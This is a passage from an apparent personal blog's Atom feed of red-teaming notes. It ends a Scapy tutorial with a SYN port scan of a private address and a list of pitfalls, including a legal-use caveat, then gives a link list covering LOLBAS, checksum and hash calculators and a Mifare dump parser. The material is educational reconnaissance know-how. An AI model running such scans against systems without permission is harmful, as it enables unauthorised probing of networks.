&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;SYN scan:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; syn_scan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;443&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3389&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;common-pitfalls&quot;&gt;Common Pitfalls&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Root privileges&lt;&#x2F;strong&gt;: raw sockets require administrator rights.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Interface binding&lt;&#x2F;strong&gt;: specify &lt;code&gt;conf.iface&lt;&#x2F;code&gt; on multi-NIC hosts.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Checksums and lengths&lt;&#x2F;strong&gt;: Scapy recalculates them automatically.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TCP correctness&lt;&#x2F;strong&gt;: real HTTP requires valid seq&#x2F;ack handling.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Filters&lt;&#x2F;strong&gt;: BPF filters apply to sniffing only, not sending.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Legal use&lt;&#x2F;strong&gt;: generate traffic only in controlled environments or with explicit permission.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Scapy is more than a library - it’s a &lt;strong&gt;traffic construction toolkit&lt;&#x2F;strong&gt;. It lets you learn protocols hands-on, test infrastructure, emulate attacks, reproduce issues, and even build your own network tools.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;additional&quot;&gt;Additional&lt;&#x2F;h2&gt;
&lt;p&gt;Scapy documentation: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;scapy.readthedocs.io&#x2F;en&#x2F;latest&#x2F;&quot;&gt;https:&#x2F;&#x2F;scapy.readthedocs.io&#x2F;en&#x2F;latest&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Scapy Tutorial: WiFi Security: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.cs.toronto.edu&#x2F;~arnold&#x2F;427&#x2F;18s&#x2F;427_18S&#x2F;indepth&#x2F;scapy_wifi&#x2F;scapy_tut.html&quot;&gt;https:&#x2F;&#x2F;www.cs.toronto.edu&#x2F;~arnold&#x2F;427&#x2F;18s&#x2F;427_18S&#x2F;indepth&#x2F;scapy_wifi&#x2F;scapy_tut.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Scapy on GitHub: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;secdev&#x2F;scapy&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;secdev&#x2F;scapy&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry>
        <title>Binary</title>
        <published>2025-09-07T00:00:00+00:00</published>
        <updated>2025-09-07T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/binary/"/>
        <id>https://frekler.com/ai-red-teaming/notes/binary/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/binary/">&lt;p&gt;LOLBAS
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;lolbas-project.github.io&quot;&gt;https:&#x2F;&#x2F;lolbas-project.github.io&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Online Checksum Calculator
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.scadacore.com&#x2F;tools&#x2F;programming-calculators&#x2F;online-checksum-calculator&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.scadacore.com&#x2F;tools&#x2F;programming-calculators&#x2F;online-checksum-calculator&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CRC Calculator
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gigacalculator.com&#x2F;calculators&#x2F;crc-calculator.php&quot;&gt;https:&#x2F;&#x2F;www.gigacalculator.com&#x2F;calculators&#x2F;crc-calculator.php&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Online MD5 Hash Calculator
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;md5calc.com&#x2F;hash&quot;&gt;https:&#x2F;&#x2F;md5calc.com&#x2F;hash&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Longitudinal Redundancy Check (LRC) Calculator
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.metools.info&#x2F;encoding&#x2F;ecod127.html&quot;&gt;https:&#x2F;&#x2F;en.metools.info&#x2F;encoding&#x2F;ecod127.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Mifare dumps parser
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zhovner&#x2F;mfdread&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;zhovner&#x2F;mfdread&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
